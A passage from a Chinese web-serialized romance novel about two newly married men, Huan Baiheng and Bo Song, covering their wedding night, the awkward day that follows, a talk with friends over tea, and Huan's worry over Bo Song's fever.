山茶花在寒冬腊月不易存活,而想要四季开花,就得人工干预,确保适宜的温度,不远处的山茶被罩在温室玻璃房里,娇艳贵气。 桓柏蘅看了眼他,说,“爷爷会让林伯来照顾。” 收拾新家的阿姨从薄淞搬过来的行李中发现一个干花相框,是原先他送给对方的两束山茶,阿姨询问画框摆放位置时,桓柏蘅看见图片,木质的胡桃框架里,透明层板中间离开枝头的花朵以另一种姿态绽放。 薄淞亲手晾晒制作的- 房子到处粘贴“喜”字,入眼一片红。 桓柏蘅说服自己喜庆,玄关处换鞋时,面对两双贴满红喜的家居棉鞋时,额角才微微抽了下。 可贴已经贴了。 他踩着拖鞋进去。 入户口右侧直走,是餐厅区域,开放的大型流理台上,摆满了样式精美的瓷碗。 老爷子托人准备醒酒的酸汤,提醒他们务必喝了。 桓柏蘅领着薄淞过去。 餐厅明净的玻璃门映出身后步子几分摇晃的人,桓柏蘅觉得,准备的还是很有必要,只是他目光落在瓷碗里时,沉默了。 红枣,桂圆,莲子,花生排列的很整齐。 寓意分明。 但没一个醒酒的。 桓柏蘅一个个看过去,越发疑惑,准备这些东西或是安排准备这些的人到底在想什么?他跟薄淞真需要这些东西吗?谁生? 桓柏蘅默默叹了口气。 薄淞则是觉得,眼前好像又黑了会,下秒面前递上瓷碗,桓柏蘅低沉的声音传进来。 “喝了。” 他愣住,却已经下意识伸手接过,随后松了口气。 是醒酒的酸汤。 桓柏蘅不是让他喝这些东西。 薄淞仰头喝了,暴露出脖颈成片的红在桓柏蘅视线。 味道不好,既酸又涩,他皱着眉头,面前却又递上一个瓷碗。 “甜的,去去涩。”桓柏蘅声音适时响起,又体贴的解释,“放心,喝了也生不出来。” “” 薄淞眼睛很用力地闭了下,也没能阻止本就因为酒精泛红的皮肤此刻红色蔓延越发肆虐。 桓柏蘅很愿意在某些事上看薄淞尴尬,尤其喝醉了的人,和往常不一样。 薄淞抬起头,眸底竟有些委屈。 委屈也不拒绝,还是很乖。 两人往楼上去。 薄淞总觉得有事,可想不起来,大脑被云团塞着,思绪总是一阵又一阵,等桓柏蘅停住脚步时,他才总算拼凑出待办事项。 “要给爸妈和爷爷打电话。” 报平安,也确定对方到家。 桓柏蘅说,“打过了,他们已经到了,车库里。” 薄淞脑中没有这个画面片段,不过桓柏蘅说打过了,他就“哦”了一声,才注意到已经到房间门口,而桓柏蘅停下脚步,看他是因为 “抱歉。” 薄淞后退了一步,他貌似唐突的要跟桓柏蘅回房,下意识转身就走,七八步到楼梯口,又尴尬的停止动作,他好像不知道自己房间在哪,这是几楼来着? 桓柏蘅似笑非笑的模样,在等他。 薄淞又回到人跟前。 “我好像不知道我住哪?” 他可能是喝多了忘记了,薄淞想,因为他不记得有人跟他说过,不过他喝多了。 薄淞这点是有意识的,他所有的思考行动都变得缓慢。 桓柏蘅的回答是侧身的动作。 薄淞眨了眨眼,慢半拍反应过来,不过还是问了句,“这里是我的房间是吗?” 他实在糊涂了,桓柏蘅应该是带他来自己的房间,然后再回去。 “是。”桓柏蘅眼底有些玩味看他。 薄淞这才大胆过去,他说“谢谢。” 桓柏蘅侧身又让了些,像是方便他进去。 “早些休息晚安。” 薄淞轻声说完后两个字,迈进了门里,反手推上的动作却被外头的力道顶住,他一愣,紧接着背被轻轻一推,桓柏蘅跨进房间,才有落锁的声音响起。 开关清脆的“啪嗒”声,灯光亮起。 两米宽的大床占据正中心,左侧巨大落地玻璃衣柜,挂着两人日常衣物,房间整体色调偏暗灰色,唯独床上被子此刻违和的是一抹红,上头丢了许多花生桂圆。 气氛一时间诡异的凝滞。 仅针对薄淞一人。 他闭眼又睁开,场景不变,不是酒后错觉,而桓柏蘅推他进来身后脚步一点点越过,桓柏蘅步调优雅至衣柜前,“这里只会放平时家居服,衣帽间做的暗室。” 他按了柜子旁的开关,墙上的门缓缓打开。 衣帽间同主卧面积一致,整齐摆放着两人日常的西服以及外出衣物,领带,手表 门重新被合上。 薄淞意识到最关键的信息,他们以后会住在一起,同一个房间? 大脑又一波冲击。 “你是要先洗澡,还是我先?” 桓柏蘅问他。 薄淞愣愣的,“你先吧。” 桓柏蘅思考了会,“行。” 他觉得薄淞或许没有能力自己完成洗澡这件事。 桓柏蘅进了浴室,薄淞绷紧的肩背久久放松不下来,他呆愣站在原地,到有一些喘不过气,才发觉是心跳太快,剧烈的,有力的 好热。 暖气开得太大了。 薄淞想关掉,走了两步,记起桓柏蘅在洗澡,洗完澡出来会不会冷? 浴室的门隔音很好,可他似乎听见了水流的动静,浇得他浑身发热,还是放弃这个打算,薄淞把床上的红枣桂圆收拾好,整了整床,方便一会桓柏蘅可以直接躺下来休息。 他站在床头,然后就不知道做什么了。 浴室里的水声好像更大了,哗啦啦全浇在他身上,热到不行。 薄淞看清玻璃柜中身影,难怪这么热,他把外套脱了,然后是婚礼的西装。 和桓柏蘅的挂在一起。 他盯着并排的两件外套好一阵,耳边持续震耳的心跳,大概和酒精也有关系,频率太快了,低不下来,让他不知道该拿自己的心脏怎么办才好? 以至于他没听见浴室门开的动静。 直至脚步实在太近,他才猛地一惊,转身,撞上了低头靠近的人。 沐浴露很淡的香气。 桓柏蘅仰着脑袋,眼尾眯起,他手捂着鼻梁,垂睨下的眸光带着些许不满,明显被撞疼了。 薄淞心里一紧,“抱歉。” 指尖碰上人鼻尖时,双方同时一愣,薄淞连忙收回手,后退,撞上玻璃衣柜一声响。 他疼得懵了会。 很公平了。 桓柏蘅看他立刻遭了报应,决定不计较,“我要拿衣服。” 薄淞才明白到自己挡着对方了,不过是不是洗的有些快了。 他往旁边让开。 桓柏蘅拉开衣柜,手臂结实有力,覆着细密水珠,往下,腹部薄薄的一层肌肉薄淞眨了眨眼,盯着那处随着呼吸柔软起伏地方,大脑迟钝的意识到什么,上下一扫。 “” 桓柏蘅取了睡衣,偏头,薄淞已经离他好几步远了,眼神往床底下飘,。 脚步声响起,薄淞松口气。 脑中是桓柏蘅没穿衣服,只腰间围着浴巾的画面,湿漉漉的性感极了,他怕再多看两眼,会失态。 “你在看什么?” 沐浴露的香气凑得更近,桓柏蘅的声音响起,薄淞撞进咫尺距离下对方凑弯腰凑近时深邃的眼睛。 桓柏蘅问他看什么,却只盯着薄淞。 薄淞大概口渴,从下车那会到现在,一直往唇上咬,唇瓣殷红,饱满,被他咬破口的地方可怜的暴露着伤口,桓柏蘅这阵觉得,是不是咬的狠了点,可对方为什么胡说让他生气可现在,又乖巧到令他心软。 “疼吗?” 薄淞的呼吸里也带着酒气,红酒的,他今晚喝的最多的就是红酒,被红酒浸透浸熟了,才会这么浓香馥郁,桓柏蘅觉得,他大概被这酒香浸醉,还想再尝一尝,车库里就想,司机离开后,他看了薄淞很久,才喊醒的人而现在面前的人闭上眼,他理所应当视作邀请。 桓柏蘅吻上去。 比他想象的还要醉人- 浴室里,冷水扑在脸上,薄淞冻得狠狠一哆嗦。 桓柏蘅进来的时候,镜中薄淞目光同他对视,又低下头去。 步子停了几秒。 两人刚才接了吻,情到浓时,然后薄淞推开了他,说要把妆卸了。 桓柏蘅视线描摹过面前的人。 婚服里的衬衫是收紧的设计,勾勒出薄淞纤细的腰线,因为此刻俯身的动作,时不时露出一截白皙晃眼,而往下,笔直修长的被西裤包住的长腿,匀称有力。 桓柏蘅承认,他对薄淞有欲望,不止一次。 老爷子没准备东西,还是保守,床头柜里空空荡荡,他刚才没找到,然后想起许景渊让薄淞转告的新婚礼物,被他随手放在了玄关,他下楼一趟, 而现在,东西在床头。 想做。 桓柏蘅第一次清晰而确切的念头,他想和薄淞上床。 所以走至人身后。 薄淞的眼神和他再次撞上,躲闪的。 桓柏蘅这回触到人腰间时,薄淞躲开的动作撞翻了洗漱台的上瓶瓶罐罐,瓶子滚落在地上,溅开。 空气安静。 桓柏蘅收回手,他说,“衣服湿了。” 薄淞贴的离壁砖太近,衬衫前边湿透了一片。 他承认被勾起欲望,但对方是第二次拒绝。 桓柏蘅转身,跨进淋浴区,热水冲刷而下时,薄淞急切离开的脚步在耳边模糊。 不愿意的话,那就算了。 他不喜欢强求- 桓柏蘅澡洗得久,扯过毛巾时看了眼时间,过去二十多分钟,他垂下眼皮瞧,口中轻轻“啧”了声。 不打算在浴室里接着浪费时间,披上睡衣,这回裹得严实。 房间里薄淞不在。 桓柏蘅原地站了半分钟,上床,关灯,顿时房间漆黑一片。 身侧是空的。 时间一分一秒流走,浓稠的夜色透过窗,一点点浸透进房间里,直至黑暗中再次亮起灯,床上桓柏蘅坐起,下床,抓人。 楼梯间灯光亮着,他顺着阶梯下去,看见了沙发上的人。 薄淞侧身躺着,脑袋枕在软枕上,顶灯未开,只有楼梯口的光线隐隐照过去,覆在薄淞面颊上,长睫浓眉,鼻梁高挺,薄淞微微蜷缩着自己,像小动物护着柔软的肚皮。 桓柏蘅脚步放轻。 到沙发前,弯腰。 面前的人忽然睁开了眼睛。 桓柏蘅动作停了会,蹙眉,下秒却被忽然的怀抱拥紧。 “” “桓柏蘅。”薄淞喊他名字,很轻地,近乎呓语“我做梦了。” 薄淞做梦了,做了个噩梦。 梦境里是白日桓柏蘅落寞的背影,难过的,受伤的,和婚礼现场重叠起来的那个吻,耳边的那句话。 他忽然什么都明白了,觉得后悔,也觉得自己太笨。 白天里他说的话有多伤人。 他伤害了桓柏蘅。 薄淞难过的要命,他怎么能伤害桓柏蘅,想弥补,想安慰,也就顾不得躲藏,他只能用力地抱紧桓柏蘅,在头脑不那么清明的混沌的间隙。 “以后我不会乱说话。” “桓柏蘅,我也很想很想,成为你的家人,和爷爷一样。” “会对你好的,比所有人都好。” 桓柏蘅只有一个家人,他会努力成为桓柏蘅的家人,不会让他孤零零一个人- 薄淞被拦腰抱起,上楼,跌进柔软的床榻间。 白日里一身西服矜贵温雅的男人此刻柔软而温顺,桓柏蘅俯身压下时,才露出点茫然和慌张。 像是掉进陷阱的小动物,漂亮的眸中满是雾气,以至于桓柏蘅低下头,竟然细细地嗅过对方的脖颈,面颊,在猎物睁大眼睛似乎要挣扎的前一秒,按住人抬起的手腕。 贴的更近。 身体的反应便藏无可藏。 于是那双染上雾气的眸中茫然瞬间散了大半,远山晨曦的红云飘得更多了些过来。 “想成为家人的话,不是只用口头上说说的?” 桓柏蘅扣住那手腕摩挲,感受脉搏的跳动,一下又一下,剧烈有力,欲望横冲直撞,再难压抑。 “做吗?” 他问的直白。 薄淞瞳孔又一次放大,桓柏蘅甚至能看到瞳眸中的黑点极其细微的颤动,他凝着那黑点,被诱惑桓柏蘅想吻他,也就吻了下去。 唇齿缠绵,扫过口腔每一寸位置,浸着酒香的软舌笨拙而滚烫,桓柏蘅吻的深入,到薄淞因为短暂的缺氧抓在他肩头,指尖收紧,弄皱衣料,才松开桎梏人的手,微微起身。 望向薄淞。 面前的人衣领处凌乱,眼尾晕着艳色绯红,唇瓣微微肿起,水光湿漉,止不住地喘息,予取予求。 桓柏蘅眸底暗色翻涌。 想把人弄得更乱,想要这双眼睛全部湿透,想看他哭。 桓柏蘅想要更多,还不够。 拇指按在那唇上,摩挲,欲望燎原,他的视线已经将人遍遍吞咽咀嚼,行为却只浅尝辄止。 薄淞还没有回答。 他最后用力拇指蹭过唇角,起身准备离开,却被身下人勾住腿弯。 “”- 薄淞手背遮住眼睛,唇瓣张合着,小口艰难地呼吸,床头灯光映出修长脖颈往下,颤栗起伏的胸口。 黑色罐子翻倒在床上,液体黏腻浓香.尽数揉进了身体。 他被打开。 暴露在炙烫的目光下。 极致的荒谬,极致的快感。 到最后一丝力气耗尽。 湿汗的手再无力抓住些什么,眸中的光彻底涣散。 夜色浓沉,漫长- 薄淞从浴室再次被带回来。 哭过的眼睛发红。 只能在间隙的清醒中,努力睁开脱力湿漉的双眸,看向面前的人。 桓柏蘅眼底染着情/欲。 整场x事,欲望才是根源。 他知道,但没关系。 薄淞只是颤抖着离对方更近。 桓柏蘅想要,他就毫无保留,甘之如饴。 第24章 和煦的阳光落在喜庆的红被子上, 温暖惬意。 桓柏蘅面颊隐隐发烫,翻身,眼皮困倦地撑开, 枕侧空无一人, 他短暂的眯了下眼,下秒清醒过来, 往卫生间看去。 灯暗着,印证里面没人的事实。 桓柏蘅坐起身, 被子垂至腰侧,露出光裸的上半身,右肩的位置不明显的数道红痕,是后半夜浴室洗漱台上,薄淞高//chao时抓出来的。 脑中那张遍布红c的脸浮现, 桓柏蘅再次感到熟悉的躁动。 他停止在想, 抓过床头手机时,注意到枕侧叠放整齐的家居服,以及昨夜丢弃一地的”脏乱“, 薄淞收拾好了一切。 一楼客厅灯光暗着,空气里传来淡淡的食物香味。 桓柏蘅下过旋转梯,往餐厅去的脚步在瞥见不远处隔着落地窗外的那抹熟悉身影时,顿住,他立在原地,好一阵才抬手拢了拢领口,调转步子过去。 薄淞在听见身后动静时,眼睫微微颤了下,转过身。 花园外,桓柏蘅插兜站着。 两人视线在半空中交汇, 昨夜种种荒唐,同时在大脑中回放。 “你在干嘛?” “醒了?” 声音同时出口,再同时一怔。 桓柏蘅抬手蹭了蹭鼻尖,薄淞则是手中花洒胡乱地浇了两下,低头含糊解释,“爷爷说这花每天都得浇点水。” 他改了口,有些不习惯。 桓柏蘅跨进花园里头,从垂眼“专心浇花”的手上拿过花洒,“少浇几天死不了。” 新婚三日,家里不会有人,爷爷安排的园丁也不会来,是为了给两人单独空间,因此空间给够了,该尴尬的总得尴尬,以至于薄淞点头,轻声说了“好”后,两人就没了后续交流。 桓柏蘅把花洒丢进了旁边的工具房,很用力。 “你饿不饿?” 从石子路绕出花园时,薄淞想起来问了句。 这会已经下午一点。 “嗯。”桓柏蘅想起刚才那阵香味,“你做了东西?” “熬了些粥。” 薄淞的厨艺其实不是很好,只能做最简单的,他不知道桓柏蘅几点醒,送餐的话怕凉,索性随便煮了些,要是饿的话醒来就能喝。 两人便一道回房子里。 粥是南瓜粥,很淡的甜味,桓柏蘅心不在焉尝了口,眼神往对面的人身上飘去。 薄淞裹着厚外套,垂眼安静模样,他唇色有些苍白,破皮的地方结了痂,眼下还有圈淡淡的乌青新婚之夜,把新郎弄得那么糟糕的,桓柏蘅想,他应该是头一个。 “是不好喝吗?”薄淞看他蹙起的眉,犹豫着道,“不然还是叫餐吧,也很快的。” 清粥小菜,他觉得是有点委屈桓柏蘅了。 “没有。”桓柏蘅拿起勺子,“挺好。” 他这回没再分心,把碗里的粥全喝了。 饭后,便都是闲暇空余。 两人没什么事,又是刚睡醒起码桓柏蘅是,他坐上沙发,没一会,隔着中间足足四五人的距离,薄淞在离他最远的沙发另一角同样坐了下来。 薄淞看着手机上的回复,是他上午发给林序淮的消息,简短两个字,很好。 昨晚林序淮发生了什么他不知道,而他自己薄淞到现在都是有些恍惚的。 对于他和桓柏蘅真的上/床了这件事。 他开始以为和桓柏蘅的婚姻,是没有亲密性质这一选项的,对桓柏蘅有欲望,他会恐慌,耻于被发现,而原来一切都是能做的可能还做得有些太过分了。 薄淞调整了下坐姿。 “不热吗?” 几乎在他小心翼翼的动作下秒,桓柏蘅的声音响起,视线落在薄淞高领拉链严实的羽绒外套。 “你穿的很多。” 室内开着暖气,桓柏蘅一身薄绒家居服,薄淞从柜子里挑选的,大概是还嫌热,这会袖子撩上去,露出流畅漂亮的肌肉线条 薄淞眼睫用力颤了下,记忆闪回昨夜。 他被握住小臂,侧靠在人胸膛上,桓柏蘅的五指修长,灵活,指甲修的格外圆润干净。 “还好。”薄淞从画面中挣脱,耳尖发红。 “你出汗了。” “吃饭的时候有些热。” 早起的时候身上发烫,量了体温,烧起来些,所以吃了药,药效在发挥作用,薄淞其实现在时不时会觉得冷,所以穿着衣服会好受点,再者,身上的痕迹太多,也不体面薄淞承认他骨子里是有些保守。 桓柏蘅不说话了。 他们继续保持安静,各做各的。 薄淞继续给林序淮回消息,约过几天出去吃饭,林序淮很久才回复。 【林序淮:再说。】 薄淞想了会,接着敲字,发送前先一步消息轰过来, 【林序淮:不熟。】 【林序淮:很烦。】 【林序淮:你别问。】 “” 薄淞把消息删了,给人回了个“好”,无奈地轻声叹出口气。 “吃水果吗?” 冷不丁又一道声音过来,薄淞再次偏头,他望着桓柏蘅,这回怔了一阵,才反应过来。 “冰箱里有,你要吃吗?” 桓柏蘅粥应该是没喝饱,他自己饭量不大,确实疏忽了,桓柏蘅还年轻,消化快。 “嗯。”桓柏蘅说,又补了句,“补充营养。” “好。” 粥是没有营养,他会记得日后搭点水果。 薄淞起身时,桓柏蘅正好也从沙发上站起,两人于是又对上眼。 “去哪?”桓柏蘅眉头拧了下。 “你不是要吃水果吗?” “” 薄淞已经走出沙发区,往餐厅过去,想起来问,“我每样准备一点可以吗?或者你有什么不爱吃的。”。 桓柏蘅盯着他,坐下,沉默道,“都吃。”- 水果盘很丰富,有皮的水果全都削皮切块,橙子被一片片掰开只剩汁水充足的果肉,草莓拔了叶子,樱桃被破皮总而言之,桓柏蘅可以用叉子轻松吃到果肉,而不需要沾湿一根手指。 “你吃完我再给你弄。” 薄淞递过去盘子,一根银叉。 桓柏蘅沉默着,接过来,“你不吃吗?” 薄淞摇头,““有点饱。” 其实是没食欲,中午的粥都很勉强了,昨晚酒喝的太多,早上起来差点吐了回,到中午才稍微好受一点,可也吃不下多少东西。 桓柏蘅接过果盘,薄淞坐回了原来位置,隔着中间仍旧四五人的距离。 桓柏蘅吃两口水果,味同嚼蜡。 他往薄淞那看去,对方拿着手机,还在低头敲字,手机没贴防窥膜,因此桓柏蘅极高的视力,只需眯一眯眼,看见了聊天对象。 果盘被“丢”回了茶几上。 瓷碗磕上清脆的一声动静,桓柏蘅说,“不想吃了。” 他这话有点过于莫名且任性直白,丝毫没有掩饰情绪里的不悦,以至于薄淞怔愣好一阵,不知道发生了什么,而桓柏蘅本就稀缺的耐心在先前不那么明显而显然失败的迂回试探里告罄。 他起身,“我要出去一趟。” 薄淞这回理解意思,失落感几乎瞬间袭来,因为桓柏蘅要走这件事,但他还是很快接上,“好。” “我晚上不回来。” 薄淞心里的失望更重,他也不知道为什么,起码在今天,他很想桓柏蘅留下来。 可他没有立场,也不能去质问桓柏蘅到底有什么事,彼此自由,是他们婚姻的基本准则,这点不是他们上过床,就会改变的。 “我知道了。”他点头,尽量周全体贴,“爷爷那边如果问起,我会替你瞒着的。” 在桓柏蘅心里,如果没有喜欢,把他当成一个体贴懂事,可靠的愿意更亲近些的朋友也行,薄淞也可以满足的。 桓柏蘅脸色变了下,不明显的,薄淞没有察觉到,他觉得自己的笑容好像有些勉强,以至于只能躲开目光, 半晌安静,桓柏蘅又说。 “我也可以不去,没有特别重要的事。”他改了口,用生硬的语气解释,“如果你一个人呆在家里不行的话我的意思是,你要是身上哪里不舒服,我也可以留下来。毕竟是我的责任,我有义务照顾你。” 桓柏蘅决定最后一次给薄淞机会,如果薄淞主动告诉他,他就会留下来,然后顺理成章看看对方有没有受伤需不需要上药之类的。 毕竟他承认,技术确实不行,从他刚才超时恶补的理论知识来看,昨夜薄淞的体验应当不是很好,或者说糟糕两个字。 薄淞昨晚在他肩膀抓了三次,一次比一次用力,浴室里他逼迫对方撑着洗漱台,最后磕到了膝盖,以及最后一次,结束时埋在他肩膀哭了,很小声,但他知道,因为肩膀湿了一片,但更糟糕的是 他没哄。 没缓过劲当时。 他只记得扯过被子给人盖上,用可能是命令的语气让对方睡觉,因为薄淞发抖了很久。 他连基本的检查都没有,而戴t,也存在受伤的可能。 况且,薄淞实在太紧了。 桓柏蘅一边算是反省,一边又忍不住可耻的回味,再想到刚才看到的网上严重后果,薄淞又奇奇怪怪穿那么多衣服偏偏一言不发,他觉得烦躁,在单方面决定留下来的时候,偏偏一盆冷水泼来。 薄淞说,“不用。” 桓柏蘅人生第一次,升起强烈的类似委屈的情绪,不是装出来的那种,货真价实的。 他从小到大都没有剥过除橘子以外的水果,有专业的营养师或是阿姨替他处理干净送上来,所以他第一次主动要帮薄淞做果盘,薄淞拒绝了,他旁敲侧击的关心薄淞不买账,拉下面子直白的铺了台阶,然后薄淞拒绝了他的关心。 说好的成为他的家人,薄淞睡了一晚就忘了,对他防备,不信任,和他呆在家里实则和外人聊天。 聊了很久。 桓柏蘅心彻底冷了。 第25章 许景渊到的时候, 郑云松百无聊赖正逮着一株龙井茶树嚯嚯,见着他,眼神亮起。 “怎么约这地?” 这是个茶馆, 环境清幽。 “上火啊。”郑云松寂寞很久, 总算有人说话,脱口道, 又立即找补,“那个, 我上火,喝点蒲公英败败火气,你要不也来点?” 蒲公英泡茶味既苦又涩,闻着味许景渊就受不了,推回去茶盏, “谢谢啊, 但是不必,我不上火。” 三人里,上火只有一人。 许景渊挑了块配茶的糕点, 嚼着,不紧不慢看向组织了本次莫名其妙的下午茶活动却从他进来一言不发的桓姓大少爷,问,“你怎么了?” 新婚,头婚,不该是这情况啊? “你迟到了一个小时二十八分钟三十五秒。”桓柏蘅精准扣时,许景渊刚想说那怎么了,桓柏蘅又丢来一句,“林序淮呢?” 顿时偃旗息鼓。 下秒警戒的皱起眉头,“薄淞喊你来的?” 桓柏蘅可从不管他床上那些事。 对方没回答, 许景渊没那么淡定了,刚想再追问,郑云松咋呼开了,“你两开房了?” “” 他飞凑过去,这会总算探听到八卦,回了魂。 “什么情况啊?他不是很讨厌你吗,这就开房了,战况激烈不?” 许景渊嫌弃地推开他脑袋,面无表情道,“首先,他不讨厌我,其次,你礼貌吗?” “”郑云松讪讪退了回去,他一激动嘴巴上就没把门,“随便问问嘛。” 许景渊风流归风流,也有基本的道德底线,床上的事不会乱说,郑云松也不是喜欢探听这事的人,纯粹是被桓柏蘅逼疯了。 天知道桓柏蘅一条消息发群里,他本着关心好友第一时间赶到,结果被冷脸晾在这一个多小时什么滋味。 “哎,说句话啊。”许景渊曲指在人跟前敲了两下,“桓哥?” 桓柏蘅看着他,施舍般地总算回答,“不是。” 许景渊松了口气,只是提到这又有些头疼,“你说薄淞对我印象是不是很不好啊?他两又是朋友,这要是在林序淮面前说我两句,我还有戏吗?” “百分百没有。”郑云松抢答,“学长怎么可能让朋友被你玩弄。” “等会。”许景渊唇角抽了下,纠正他,“我是认真的,什么叫玩弄。” “哦。”郑云松也不反驳,但戳人心窝子是专业的,“但你黑历史多啊,我要是有个弟弟,肯定不会让他跟你谈恋爱。” “你单纯?你有资格说我?” “所以我就想玩,没认真啊。” 这边隐隐有吵起来的趋势,桓柏蘅本就烦,给他两弄得更烦了,冷声道,“我喊你们来不是听你们叫的。” 行,一句话骂了两人是狗。 “那你说呗,怎么了?” 许景渊秉着之后还想让桓柏蘅在薄淞面前替他美言几句的想法,忍下了,郑云松也看过去,他很好奇到底有什么大事。 桓柏蘅沉默了一阵,开了口。 “我要签份婚后协议。”- 三人从茶馆出去,天色将暗。 郑云松离开前,神情复杂看了桓柏蘅一眼。 许景渊没比他好多少,只是该给的建议给过,该说的刚才也说尽,桓柏蘅决定了,两人都没办法。 “走了。”许景渊到C区停车场,桓柏蘅点了下头,等人脚步抬起时跟上。 许景渊走两步,听见动静,有些纳闷,“你不回去吗?” 桓柏蘅刚才看了三次时间,不像是不着急的样子。 “回。” “你车在那。” 许景渊指了指不远处的宾利,几分莫名,桓柏蘅只说,“知道。” 等许景渊接着走,又跟上了,到车旁,许景渊动手要拉车门才实在忍不住,总不是还要跟他一道上车吧? 有事说事,他不太想照顾一个祖宗,当然,也不想老爷子电话打过来兴师问罪。 许景渊扭过头,才打算开门见山问人目的,桓柏蘅冷不丁来了句。 “你跟林序淮”话语顿了下,继续,“事后怎么处理?” 事后? 许景渊短暂地懵了会,然后倒抽口凉气- 桓柏蘅驱车回去的时候,天正好暗下,夜幕铺开。 别墅亮着灯。 他停好车在车库,拿起副驾上的医药袋,想了想,塞进外套口袋,看了眼时间。 三个半小时,不算短不算长。 电梯上去,客厅亮堂,桓柏蘅径直走过,餐厅,娱乐房,酒室,包括后花园,没有薄淞的身影,上楼寻找。 这个点,薄淞不至于休息,除非身体不适。 桓柏蘅到楼梯口,主卧门开着,他放缓了些脚步,过去房间里空无一人,夜色从落地窗外透进来,浓沉幽暗。 薄淞出去了。 整座别墅灯火通明,但不代表薄淞在家,是他想当然了,而薄淞没有义务告知他出门的事,毕竟他说好的“晚上不回”,合情合理。 桓柏蘅能理解,薄淞有出门而不必向他报备的绝对自由。 他从兜里掏出手机,调出通话界面,指尖顿住。 他没有薄淞的号码。 桓柏蘅的心缓缓沉下去,忽然身后一道讶异嗓音响起,像是一道强有力的定心剂,所有的念头清零。 “你回来了?” 薄淞从四楼下来,见着房门口人影时,以为自己眼花了,等桓柏蘅转过头,才确定不是幻觉。 “你在干嘛?”桓柏蘅面色如常,看不出十多秒前眉眼皱着痕迹,问他。 薄淞怀里正抱着六七本书,站在阶梯上几层,浅色的家居服衬得他整个人暖融融的,发丝柔软,眉眼安静温和。 “闲着没事,就把书房理了理。” 桓柏蘅走后,他觉得房子空荡的很,原本想睡一会,可闭眼也没睡着,索性就起来收拾了。 这是以后他们的家,薄淞计划着添置些东西。 “对了,书房里有个纸箱,我以为是我的,不小心拆了。”薄淞想起这事,跟桓柏衡说一声,“抱歉,不过我没碰里面的东西,已经放回原位了。” 桓柏蘅对此不甚在意,随口应了声,过去。 下午他离开那阵天便阴了下来,气温骤降,夜晚更是降到零度,他回来一路开着车窗,冷风吹得他手心到现在还是冰凉的。 薄淞却很暖,他站在那,眼皮微微垂下,泛着很浅的红,因为皮肤白的缘故,任何其他颜色在他身上就更加明显,眼尾,面颊,再往下近距离,桓柏蘅看见了颈处遍布的吻痕,斑驳发紫,延伸至家居服看不见的位置,也就明白了白日里薄淞裹着厚外套的原因。 脚步停下,他第一反应先是怔愣,然后又想,他昨晚有那么用力吗? 桓柏蘅不记得这些细枝末节。 薄淞看人过来,停住,是困惑的,直至对方的视线实在停留过久,才后知后觉意识到什么,心里空了一拍,记起整理书房时因为热而脱掉的外套。 下意识他抬手掩住,不是因为难堪,而是不习惯于不体面暴露于人前,哪怕他和桓柏蘅发生过最亲密的关系,可归根结底他们不是多熟悉。 没法因为一场床事好像就亲密无间。 他动作太突然,手中的书本因为重力的失衡从一侧翻落,薄淞才记起自己捧了书,倾身去够,他身体微微前倾,像是一副从楼梯口栽下的模样 薄淞没接住书,腰间落上双手,下秒胸口被撑住,他被扯进迈上几层阶梯的桓柏蘅怀里,唇扫过人颈侧。 心脏一下下,沉而有力的跃动,然后是书本跌落的响声。 “” 桓柏蘅等他站稳后,松开手,薄淞呆滞下反应过来桓柏蘅的初衷,“谢谢。” 他同人道谢,其实他并没有站不稳的意思。 薄淞道完谢,弯腰去捡书,想以此平复因为不小心的接触而怦怦乱跳的心脏,胳膊就被一道力往上拽。 “别动。” 桓柏蘅声音耳边传来,低沉中透着丝不悦。 薄淞愣了下,也就没动了。 他被桓柏蘅扯到了楼梯边上,状况外地看人蹲下身,把零落散着的书一本本捡起,抬眸望过来的眉眼压着。 “我没动。” 薄淞立即小声道。 桓柏蘅压着的眉眼才松开点,然后重新抓过他的手,往楼梯底下带,问,“书放哪?” “卧室。” 薄淞习惯看一会书入睡。 桓柏蘅便往主卧去,抓着他的手也没松开,脚步却不那么快,像是特地放慢迁就,不过薄淞敏锐的从他绷紧的下颌线,看出桓柏蘅又隐隐约约像是有那么点情绪?想起婚前爷爷私下里告诉他的话。 桓柏蘅有小脾气,对待亲近的人更甚。 不用追究原因。 这种时候吧,爷爷给的建议是,顺着会好些。 薄淞便乖顺地跟着人回了房,桓柏蘅把书丢在柜子上,然后把他还算是温柔的按到了床上? 顺着会好些。 薄淞默念。 在桓柏蘅低下头,靠近时,仍旧像橱柜里买来的漂亮娃娃似得,一动不动,等着下一步指示。 直至家居服的扣子被解开,一颗,两颗 薄淞微微有些凌乱了。 扣子解到第四颗,桓柏蘅手顿了下,然后被握抓住。 握着他的人很烫,手心像火炉。 “你”薄淞大脑某根筋巧妙地错乱了下,轻声问,“是要做吗?” “” 对于桓柏蘅回来,忽然一言都没有不合就扒衣服这件事,薄淞这会还没能很好理解,以至于有些晕乎,只能认为对方可能还想做,而实际上他是有点吃不消。 在床上,桓柏蘅有点太凶。 疼痛从隐秘的地方传来,薄淞就有些生怯,他不知道还能不能做,或许桓柏蘅可不可以再等他两天? 犹豫的话兜兜转转没说出口,桓柏蘅收回手,目光很沉地盯着他,半晌转身就走。 薄淞心里一紧,下意识起身要跟上去,被回头的人命令。 “坐好。” “” 薄淞犹豫着还是坐回了床边,这次忍不住问了,“你去哪?” “等着。”得到一个回答。 桓柏蘅出去也不过三分钟,回来手里拿着电子体温计,薄淞才知道人干嘛去了。 等桓柏蘅过来,配合往前坐,让对方测温。 心里暖暖的,然后下秒冷冷的嗓音砸下。 “三十八度四。”桓柏蘅问他, “能做?” 薄淞盯着温度计上的数字,又听桓柏蘅满是嘲讽的这一句,些许尴尬,“我不是那个意思。” 难怪身体软绵绵的没什么力气,他本来以为吃了退烧药就不会再烧起来了 “你不用担心,可能是着凉” 薄淞胡乱找了个说辞,想把这件事过去,话说到一半被打断。 “伤口炎症会有发烧症状。”桓柏蘅面色闪过一丝不自然,可想起和许景渊分开时候对方的话,还是直说,“我看一下。” “” 气氛比起昨晚滚上床还尴尬。 昨晚两人喝了酒,起码薄淞自己是,借着酒后冲动,也就克制不住欲望,归根结底和桓柏蘅上床这件事,在他意料之外,可他是喜欢的,他渴望和桓柏蘅更加亲密,又有合情合理的理由。 他算是坦然。 可他自以为的坦然在对方这会一字一顿说出的话里坍塌了几秒。 看什么? 薄淞长这么大,没谈过恋爱,没和人有过亲密接触,第一次是和桓柏蘅。 他承认喜欢,可到底没经历过,被□□,哪哪都瞧过碰过,在一个比他小三岁的男人身上颤抖是什么感觉,薄淞会觉得难为情,需要点时间适应,更何况还是在他清醒的情况下,单方面的给对方看他还是不够开放。 桓柏蘅靠近时,薄淞往后退了些,于是桓柏蘅伸出的手顿在了半空。 “我没什么事,真的。” 